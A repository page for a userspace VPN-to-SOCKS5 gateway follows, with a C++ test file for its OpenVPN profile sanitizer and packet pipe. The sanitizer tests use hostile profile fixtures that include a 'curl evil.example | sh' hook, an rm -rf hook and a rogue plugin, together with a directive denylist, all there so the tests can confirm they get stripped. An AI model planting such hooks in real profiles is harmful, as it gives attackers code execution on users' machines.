forked from cloud/ovgate
A userspace VPN gateway: builds an OpenVPN tunnel to a VPNGate node with
the OpenVPN 3 core, terminates it in-process with lwIP, and serves SOCKS5
(RFC 1928/1929, CONNECT and UDP ASSOCIATE) over it. No root, no tun
device, no routing table changes.
Layout follows the module boundaries in docs/ARCHITECTURE.md:
vpngate/ directory fetch + CSV parse (lines run to ~13.5 KB, so the
parser streams rather than splitting on newlines)
selector/ two-phase pick: cheap prior over the whole list, then real
TCP handshake timing of the top K
ovpn/ openvpn3 driven through TunBuilder, packets over a socketpair
netstack/ lwIP: the TCP/IP stack that makes "no root" possible
egress/ the swappable way out, and make-before-break switching
socks5/ the front door
health/ per-window scoring, and the decision to move
app/ wiring, admin HTTP, signals
docs/FEASIBILITY.md is the analysis this was built from, including the
one requirement that is not physically possible -- carrying established
TCP connections across a node switch -- and what is done instead
(zero-progress redial, UDP re-homing, grace-period drain).
Tests: 155 without the tunnel egress, 172 with it. The seam is the egress
factory; selection, scoring, history and probing all run for real.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
530 lines
17 KiB
C++
530 lines
17 KiB
C++
// Profile sanitizer + packet pipe.
|
|
//
|
|
// These are the two pieces of the ovpn module that can be tested without a
|
|
// server on the other end. TunnelClient itself needs a live node and is covered
|
|
// by the end-to-end check; what is testable here is the part that decides what
|
|
// we are willing to hand openvpn3, and the part that carries IP packets to it.
|
|
#include <fcntl.h>
|
|
#include <sys/socket.h>
|
|
#include <unistd.h>
|
|
|
|
#include <filesystem>
|
|
#include <string>
|
|
|
|
#include "harness.h"
|
|
#include "ovpn/packet_pipe.h"
|
|
#include "ovpn/profile_sanitizer.h"
|
|
#include "ovpn/tunnel_client.h"
|
|
|
|
using namespace ovg;
|
|
using namespace ovg::ovpn;
|
|
|
|
namespace {
|
|
|
|
// Shaped like a real VPNGate row: SoftEther boilerplate comments, an
|
|
// AES-128-CBC/SHA1 crypto suite, an inline CA and client keypair.
|
|
std::string sample_profile() {
|
|
return
|
|
"# OpenVPN Client Config for VPN Gate\n"
|
|
"# Note: Windows users can use this file with OpenVPN Client\n"
|
|
"\n"
|
|
"dev tun\n"
|
|
"proto tcp\n"
|
|
"remote 219.100.37.1 443\n"
|
|
"cipher AES-128-CBC\n"
|
|
"auth SHA1\n"
|
|
"resolv-retry infinite\n"
|
|
"nobind\n"
|
|
"persist-key\n"
|
|
"persist-tun\n"
|
|
"client\n"
|
|
"verb 3\n"
|
|
"<ca>\n"
|
|
"-----BEGIN CERTIFICATE-----\n"
|
|
"MIIDdTCCAl2gAwIBAgIJAKp\n"
|
|
"-----END CERTIFICATE-----\n"
|
|
"</ca>\n"
|
|
"<cert>\n"
|
|
"-----BEGIN CERTIFICATE-----\n"
|
|
"MIIDaTCCAlGgAwIBAgIBATA\n"
|
|
"-----END CERTIFICATE-----\n"
|
|
"</cert>\n"
|
|
"<key>\n"
|
|
"-----BEGIN PRIVATE KEY-----\n"
|
|
"MIIEvQIBADANBgkqhkiG9w0\n"
|
|
"-----END PRIVATE KEY-----\n"
|
|
"</key>\n";
|
|
}
|
|
|
|
bool contains(const std::string &text, const std::string &needle) {
|
|
return text.find(needle) != std::string::npos;
|
|
}
|
|
|
|
bool has_line(const std::string &text, const std::string &line) {
|
|
return contains("\n" + text, "\n" + line + "\n");
|
|
}
|
|
|
|
// CHECK() only prints the expression, which is useless inside a loop over
|
|
// names. These report the offending item on both sides of the comparison.
|
|
void expect_absent(const std::string &text, const std::string &needle) {
|
|
CHECK_EQ(contains(text, needle) ? "leaked: " + needle : "absent: " + needle,
|
|
"absent: " + needle);
|
|
}
|
|
|
|
void expect_denied(const char *name, bool want) {
|
|
const std::string got =
|
|
std::string(name) + (is_denied_directive(name) ? " -> denied" : " -> kept");
|
|
CHECK_EQ(got, std::string(name) + (want ? " -> denied" : " -> kept"));
|
|
}
|
|
|
|
size_t open_fd_count() {
|
|
size_t n = 0;
|
|
for (const auto &e : std::filesystem::directory_iterator("/proc/self/fd")) {
|
|
(void)e;
|
|
++n;
|
|
}
|
|
return n;
|
|
}
|
|
|
|
} // namespace
|
|
|
|
OVG_TEST(SanitizerAcceptsARealProfile) {
|
|
SanitizedProfile sp;
|
|
std::string err;
|
|
CHECK(sanitize_profile(sample_profile(), {}, &sp, &err));
|
|
|
|
CHECK(sp.has_ca);
|
|
CHECK(sp.has_client_cert);
|
|
CHECK(!sp.wants_userpass);
|
|
CHECK_EQ(sp.remotes.size(), size_t(1));
|
|
CHECK_EQ(sp.remotes[0].host, std::string("219.100.37.1"));
|
|
CHECK_EQ(sp.remotes[0].port, 443);
|
|
CHECK(sp.remotes[0].proto == vpngate::Proto::Tcp);
|
|
|
|
// Our canonical header is present...
|
|
CHECK(has_line(sp.text, "client"));
|
|
CHECK(has_line(sp.text, "dev tun"));
|
|
CHECK(has_line(sp.text, "remote 219.100.37.1 443 tcp"));
|
|
// ...and the crypto directives we must not touch survived verbatim.
|
|
CHECK(has_line(sp.text, "cipher AES-128-CBC"));
|
|
CHECK(has_line(sp.text, "auth SHA1"));
|
|
|
|
// Inline material is preserved whole.
|
|
CHECK(contains(sp.text, "<ca>\n-----BEGIN CERTIFICATE-----"));
|
|
CHECK(contains(sp.text, "-----END PRIVATE KEY-----\n</key>"));
|
|
}
|
|
|
|
OVG_TEST(SanitizerStripsScriptHooks) {
|
|
std::string raw = sample_profile();
|
|
raw +=
|
|
"up /bin/sh -c 'curl evil.example | sh'\n"
|
|
"down /bin/rm -rf /tmp/x\n"
|
|
"tls-verify /tmp/verify.sh\n"
|
|
"plugin /tmp/evil.so\n"
|
|
"script-security 2\n"
|
|
"management 127.0.0.1 7505\n"
|
|
"http-proxy 10.0.0.1 8080\n"
|
|
"socks-proxy 10.0.0.1 1080\n"
|
|
"daemon\n"
|
|
"user root\n"
|
|
"chroot /\n"
|
|
"log /tmp/x.log\n";
|
|
|
|
SanitizedProfile sp;
|
|
std::string err;
|
|
CHECK(sanitize_profile(raw, {}, &sp, &err));
|
|
|
|
for (const char *bad : {"/bin/sh", "/bin/rm", "verify.sh", "evil.so",
|
|
"script-security", "management", "http-proxy",
|
|
"socks-proxy", "7505", "10.0.0.1", "x.log"}) {
|
|
expect_absent(sp.text, bad);
|
|
}
|
|
for (const char *line : {"daemon", "user root", "chroot /"}) {
|
|
CHECK_EQ(has_line(sp.text, line) ? std::string("leaked: ") + line
|
|
: std::string("absent: ") + line,
|
|
std::string("absent: ") + line);
|
|
}
|
|
|
|
// And every removal is reported, so an operator can see what a node tried.
|
|
CHECK(sp.dropped.size() >= 10);
|
|
}
|
|
|
|
OVG_TEST(SanitizerDeniesTheHazardousDirectives) {
|
|
for (const char *name : {"up", "down", "tls-verify", "plugin",
|
|
"script-security", "management", "http-proxy",
|
|
"socks-proxy", "daemon", "user", "group", "chroot",
|
|
"ifconfig", "push"}) {
|
|
expect_denied(name, true);
|
|
}
|
|
// The other half of the contract: a denylist that swallowed these would
|
|
// quietly break every node.
|
|
for (const char *name : {"cipher", "auth", "tls-crypt", "remote-cert-tls",
|
|
"auth-user-pass", "float", "keepalive",
|
|
"data-ciphers", "auth-nocache", "tun-mtu"}) {
|
|
expect_denied(name, false);
|
|
}
|
|
}
|
|
|
|
OVG_TEST(SanitizerPinsTheChosenRemote) {
|
|
std::string raw = sample_profile();
|
|
// A second remote the selector never scored, plus randomization to make sure
|
|
// the core would actually have used it.
|
|
raw += "remote 1.2.3.4 1194 udp\nremote-random\n";
|
|
|
|
vpngate::Remote pin;
|
|
pin.host = "219.100.37.1";
|
|
pin.port = 1195;
|
|
pin.proto = vpngate::Proto::Udp;
|
|
|
|
SanitizeOptions opt;
|
|
opt.pin_remote = &pin;
|
|
|
|
SanitizedProfile sp;
|
|
std::string err;
|
|
CHECK(sanitize_profile(raw, opt, &sp, &err));
|
|
|
|
CHECK_EQ(sp.remotes.size(), size_t(1));
|
|
CHECK(has_line(sp.text, "remote 219.100.37.1 1195 udp"));
|
|
CHECK(has_line(sp.text, "proto udp"));
|
|
expect_absent(sp.text, "1.2.3.4");
|
|
expect_absent(sp.text, "remote-random");
|
|
// The original "remote ... 443" line must be gone too.
|
|
expect_absent(sp.text, "443");
|
|
}
|
|
|
|
OVG_TEST(SanitizerDropsConnectionBlocks) {
|
|
std::string raw = sample_profile();
|
|
raw +=
|
|
"<connection>\n"
|
|
"remote 9.9.9.9 1194 udp\n"
|
|
"</connection>\n";
|
|
|
|
SanitizedProfile sp;
|
|
std::string err;
|
|
CHECK(sanitize_profile(raw, {}, &sp, &err));
|
|
expect_absent(sp.text, "9.9.9.9");
|
|
expect_absent(sp.text, "<connection>");
|
|
}
|
|
|
|
OVG_TEST(SanitizerReportsAuthUserPass) {
|
|
std::string raw = sample_profile();
|
|
raw += "auth-user-pass /etc/openvpn/creds\n";
|
|
|
|
SanitizedProfile sp;
|
|
std::string err;
|
|
CHECK(sanitize_profile(raw, {}, &sp, &err));
|
|
CHECK(sp.wants_userpass);
|
|
// The path is stripped: credentials come from provide_creds(), and leaving
|
|
// the argument would make openvpn3 try to open a file that is not there.
|
|
CHECK(has_line(sp.text, "auth-user-pass"));
|
|
expect_absent(sp.text, "/etc/openvpn/creds");
|
|
}
|
|
|
|
OVG_TEST(SanitizerDropsFileReferencedKeyMaterial) {
|
|
std::string raw = sample_profile();
|
|
raw += "tls-auth /etc/openvpn/ta.key 1\ncrl-verify /etc/openvpn/crl.pem\n";
|
|
|
|
SanitizedProfile sp;
|
|
std::string err;
|
|
CHECK(sanitize_profile(raw, {}, &sp, &err));
|
|
expect_absent(sp.text, "ta.key");
|
|
expect_absent(sp.text, "crl.pem");
|
|
// The inline material in the same profile must survive untouched.
|
|
CHECK(contains(sp.text, "<ca>"));
|
|
}
|
|
|
|
OVG_TEST(SanitizerRemovesCompressionWhenDisabled) {
|
|
std::string raw = sample_profile();
|
|
raw += "comp-lzo no\ncompress lz4\n";
|
|
|
|
SanitizeOptions opt;
|
|
opt.allow_compression = false;
|
|
SanitizedProfile sp;
|
|
std::string err;
|
|
CHECK(sanitize_profile(raw, opt, &sp, &err));
|
|
expect_absent(sp.text, "comp-lzo");
|
|
expect_absent(sp.text, "compress");
|
|
|
|
opt.allow_compression = true;
|
|
CHECK(sanitize_profile(raw, opt, &sp, &err));
|
|
CHECK(has_line(sp.text, "comp-lzo no"));
|
|
}
|
|
|
|
OVG_TEST(SanitizerRejectsUnusableProfiles) {
|
|
SanitizedProfile sp;
|
|
std::string err;
|
|
|
|
CHECK(!sanitize_profile("", {}, &sp, &err));
|
|
|
|
// TAP: layer 2 frames, which nothing downstream understands.
|
|
{
|
|
std::string raw = sample_profile();
|
|
raw.replace(raw.find("dev tun"), 7, "dev tap0");
|
|
CHECK(!sanitize_profile(raw, {}, &sp, &err));
|
|
CHECK(contains(err, "TAP"));
|
|
}
|
|
// No CA and no peer-fingerprint: nothing to authenticate the server with.
|
|
{
|
|
std::string raw = sample_profile();
|
|
const size_t b = raw.find("<ca>");
|
|
const size_t e = raw.find("</ca>") + 6;
|
|
raw.erase(b, e - b);
|
|
CHECK(!sanitize_profile(raw, {}, &sp, &err));
|
|
CHECK(contains(err, "ca"));
|
|
}
|
|
// No remote at all.
|
|
{
|
|
std::string raw = sample_profile();
|
|
const size_t b = raw.find("remote ");
|
|
raw.erase(b, raw.find('\n', b) + 1 - b);
|
|
CHECK(!sanitize_profile(raw, {}, &sp, &err));
|
|
CHECK(contains(err, "remote"));
|
|
}
|
|
// Unterminated inline block: the rest of the file would silently vanish
|
|
// into the block body.
|
|
{
|
|
std::string raw = sample_profile();
|
|
raw.replace(raw.find("</key>"), 6, "");
|
|
CHECK(!sanitize_profile(raw, {}, &sp, &err));
|
|
CHECK(contains(err, "unterminated"));
|
|
}
|
|
// Binary garbage where a profile should be.
|
|
{
|
|
std::string raw = sample_profile();
|
|
raw += "\x01\x02\x03";
|
|
CHECK(!sanitize_profile(raw, {}, &sp, &err));
|
|
CHECK(contains(err, "control byte"));
|
|
}
|
|
// Oversized.
|
|
{
|
|
SanitizeOptions opt;
|
|
opt.max_bytes = 100;
|
|
CHECK(!sanitize_profile(sample_profile(), opt, &sp, &err));
|
|
}
|
|
}
|
|
|
|
OVG_TEST(SanitizerIsCaseInsensitive) {
|
|
std::string raw = sample_profile();
|
|
raw += "UP /bin/sh\n<CONNECTION>\nremote 9.9.9.9 1194\n</CONNECTION>\n";
|
|
|
|
SanitizedProfile sp;
|
|
std::string err;
|
|
CHECK(sanitize_profile(raw, {}, &sp, &err));
|
|
expect_absent(sp.text, "/bin/sh");
|
|
expect_absent(sp.text, "9.9.9.9");
|
|
}
|
|
|
|
OVG_TEST(SanitizedOutputIsStable) {
|
|
// Sanitizing twice must be a no-op the second time round -- otherwise the
|
|
// "regenerated" set is incomplete and our own header would accumulate.
|
|
SanitizedProfile once, twice;
|
|
std::string err;
|
|
CHECK(sanitize_profile(sample_profile(), {}, &once, &err));
|
|
CHECK(sanitize_profile(once.text, {}, &twice, &err));
|
|
CHECK_EQ(once.text, twice.text);
|
|
}
|
|
|
|
// --- packet pipe -----------------------------------------------------------
|
|
|
|
OVG_TEST(PacketPipeCarriesDatagramsWithBoundaries) {
|
|
asio::io_context io;
|
|
PacketPipe pipe(io);
|
|
std::string err;
|
|
CHECK(pipe.open(256 * 1024, &err));
|
|
CHECK(pipe.is_open());
|
|
|
|
const int peer = pipe.release_peer_fd();
|
|
CHECK(peer >= 0);
|
|
CHECK(pipe.peer_released());
|
|
CHECK_EQ(pipe.release_peer_fd(), -1); // handed over exactly once
|
|
|
|
// Three writes of different sizes must arrive as three reads of exactly
|
|
// those sizes. This is the property the whole design rests on: a datagram
|
|
// socketpair preserves IP packet boundaries, a stream one would not.
|
|
const std::string a(40, 'a'), b(1, 'b'), c(1400, 'c');
|
|
CHECK(pipe.send_packet(a.data(), a.size()) == PacketPipe::SendStatus::Ok);
|
|
CHECK(pipe.send_packet(b.data(), b.size()) == PacketPipe::SendStatus::Ok);
|
|
CHECK(pipe.send_packet(c.data(), c.size()) == PacketPipe::SendStatus::Ok);
|
|
|
|
char buf[4096];
|
|
for (const std::string *expect : {&a, &b, &c}) {
|
|
const ssize_t n = ::recv(peer, buf, sizeof(buf), 0);
|
|
CHECK(n >= 0);
|
|
CHECK_EQ(std::string(buf, static_cast<size_t>(n)), *expect);
|
|
}
|
|
|
|
const auto ctr = pipe.counters();
|
|
CHECK_EQ(ctr.tx_packets, uint64_t(3));
|
|
CHECK_EQ(ctr.tx_bytes, uint64_t(a.size() + b.size() + c.size()));
|
|
CHECK_EQ(ctr.tx_dropped, uint64_t(0));
|
|
|
|
::close(peer);
|
|
}
|
|
|
|
OVG_TEST(PacketPipeReadsWhatThePeerWrites) {
|
|
asio::io_context io;
|
|
PacketPipe pipe(io);
|
|
std::string err;
|
|
CHECK(pipe.open(0, &err));
|
|
const int peer = pipe.release_peer_fd();
|
|
CHECK(peer >= 0);
|
|
|
|
const std::string payload(700, 'x');
|
|
CHECK_EQ(::send(peer, payload.data(), payload.size(), 0),
|
|
static_cast<ssize_t>(payload.size()));
|
|
|
|
char buf[4096];
|
|
std::error_code ec;
|
|
const size_t n = pipe.socket().receive(asio::buffer(buf), 0, ec);
|
|
CHECK(!ec);
|
|
CHECK_EQ(n, payload.size());
|
|
pipe.note_received(n);
|
|
CHECK_EQ(pipe.counters().rx_packets, uint64_t(1));
|
|
CHECK_EQ(pipe.counters().rx_bytes, uint64_t(payload.size()));
|
|
|
|
::close(peer);
|
|
}
|
|
|
|
OVG_TEST(PacketPipeRejectsOversizedAndEmptyPackets) {
|
|
asio::io_context io;
|
|
PacketPipe pipe(io);
|
|
std::string err;
|
|
CHECK(pipe.open(0, &err));
|
|
|
|
const std::string huge(kMaxPacketSize + 1, 'z');
|
|
CHECK(pipe.send_packet(huge.data(), huge.size()) ==
|
|
PacketPipe::SendStatus::Dropped);
|
|
CHECK(pipe.send_packet(huge.data(), 0) == PacketPipe::SendStatus::Dropped);
|
|
CHECK_EQ(pipe.counters().tx_dropped, uint64_t(2));
|
|
CHECK_EQ(pipe.counters().tx_packets, uint64_t(0));
|
|
}
|
|
|
|
OVG_TEST(PacketPipeReportsAClosedPeer) {
|
|
asio::io_context io;
|
|
PacketPipe pipe(io);
|
|
std::string err;
|
|
CHECK(pipe.open(0, &err));
|
|
const int peer = pipe.release_peer_fd();
|
|
CHECK(peer >= 0);
|
|
::close(peer);
|
|
|
|
// Must surface as Closed, not as a SIGPIPE that kills the process. The
|
|
// first send after the peer goes away can still be accepted, so retry a
|
|
// couple of times; what matters is that we never die and that we do notice.
|
|
PacketPipe::SendStatus st = PacketPipe::SendStatus::Ok;
|
|
const std::string p(64, 'p');
|
|
for (int i = 0; i < 3 && st != PacketPipe::SendStatus::Closed; ++i)
|
|
st = pipe.send_packet(p.data(), p.size());
|
|
CHECK(st == PacketPipe::SendStatus::Closed);
|
|
}
|
|
|
|
OVG_TEST(PacketPipeDropsRatherThanBlockingWhenTheQueueFills) {
|
|
asio::io_context io;
|
|
PacketPipe pipe(io);
|
|
std::string err;
|
|
// Smallest buffer the kernel will grant, so the queue fills quickly.
|
|
CHECK(pipe.open(2048, &err));
|
|
const int peer = pipe.release_peer_fd();
|
|
CHECK(peer >= 0);
|
|
|
|
// Nobody is reading `peer`. A blocking write here would wedge the io_context
|
|
// thread for as long as the tunnel is congested; the contract is that we
|
|
// drop the packet instead and let TCP above notice.
|
|
const std::string p(1400, 'q');
|
|
bool saw_drop = false;
|
|
for (int i = 0; i < 10000 && !saw_drop; ++i) {
|
|
if (pipe.send_packet(p.data(), p.size()) == PacketPipe::SendStatus::Dropped)
|
|
saw_drop = true;
|
|
}
|
|
CHECK(saw_drop);
|
|
CHECK(pipe.counters().tx_dropped > 0);
|
|
|
|
::close(peer);
|
|
}
|
|
|
|
OVG_TEST(PacketPipeOwnsExactlyTheDescriptorsItShould) {
|
|
asio::io_context io;
|
|
// asio builds its epoll reactor lazily, on the first socket that registers
|
|
// with it, so a cold io_context would make the first pipe look like it cost
|
|
// more descriptors than it did. Warm it up before taking the baseline.
|
|
{
|
|
PacketPipe warmup(io);
|
|
std::string err;
|
|
CHECK(warmup.open(0, &err));
|
|
}
|
|
const size_t before = open_fd_count();
|
|
|
|
// Never released: the pipe must close both ends.
|
|
{
|
|
PacketPipe pipe(io);
|
|
std::string err;
|
|
CHECK(pipe.open(0, &err));
|
|
CHECK_EQ(open_fd_count(), before + 2);
|
|
}
|
|
CHECK_EQ(open_fd_count(), before);
|
|
|
|
// Released: openvpn3 owns the peer now, so the destructor must leave it
|
|
// alone. Closing it here would pull the tun out from under a live session.
|
|
int peer = -1;
|
|
{
|
|
PacketPipe pipe(io);
|
|
std::string err;
|
|
CHECK(pipe.open(0, &err));
|
|
peer = pipe.release_peer_fd();
|
|
CHECK(peer >= 0);
|
|
}
|
|
CHECK(::fcntl(peer, F_GETFD) >= 0);
|
|
::close(peer);
|
|
CHECK_EQ(open_fd_count(), before);
|
|
}
|
|
|
|
// --- tunnel client ---------------------------------------------------------
|
|
|
|
OVG_TEST(TunnelClientRejectsABadProfileWithoutStarting) {
|
|
asio::io_context io;
|
|
auto tc = TunnelClient::create(io, OvpnConfig{});
|
|
|
|
vpngate::Node node;
|
|
node.host_name = "broken";
|
|
node.ip = "203.0.113.9";
|
|
node.profile = "this is not an openvpn profile\n";
|
|
|
|
const vpngate::Remote r{"203.0.113.9", 443, vpngate::Proto::Tcp};
|
|
|
|
std::string err;
|
|
CHECK(!tc->start(node, r, nullptr, &err));
|
|
// The node id has to be in the message: with ~100 nodes churning, an error
|
|
// that does not say which one failed is not actionable.
|
|
CHECK(contains(err, "broken@203.0.113.9"));
|
|
CHECK(tc->state() == TunnelState::Idle);
|
|
// A rejected profile must leave no descriptor behind.
|
|
CHECK(!tc->pipe().is_open());
|
|
}
|
|
|
|
OVG_TEST(TunnelClientStateNamesAreComplete) {
|
|
for (auto s : {TunnelState::Idle, TunnelState::Connecting, TunnelState::Up,
|
|
TunnelState::Reconnecting, TunnelState::Down}) {
|
|
CHECK_NE(std::string(tunnel_state_name(s)), std::string("?"));
|
|
}
|
|
}
|
|
|
|
OVG_TEST(TunnelClientWithoutOpenvpn3FailsCleanly) {
|
|
if (TunnelClient::supported()) SKIP("built with openvpn3 linked in");
|
|
|
|
asio::io_context io;
|
|
auto tc = TunnelClient::create(io, OvpnConfig{});
|
|
|
|
vpngate::Node node;
|
|
node.host_name = "ok";
|
|
node.ip = "203.0.113.10";
|
|
node.profile = sample_profile();
|
|
|
|
const vpngate::Remote r{"203.0.113.10", 443, vpngate::Proto::Tcp};
|
|
|
|
std::string err;
|
|
CHECK(!tc->start(node, r, nullptr, &err));
|
|
CHECK(contains(err, "OVG_WITH_TUNNEL"));
|
|
CHECK(tc->state() == TunnelState::Idle);
|
|
CHECK(!tc->pipe().is_open());
|
|
}
|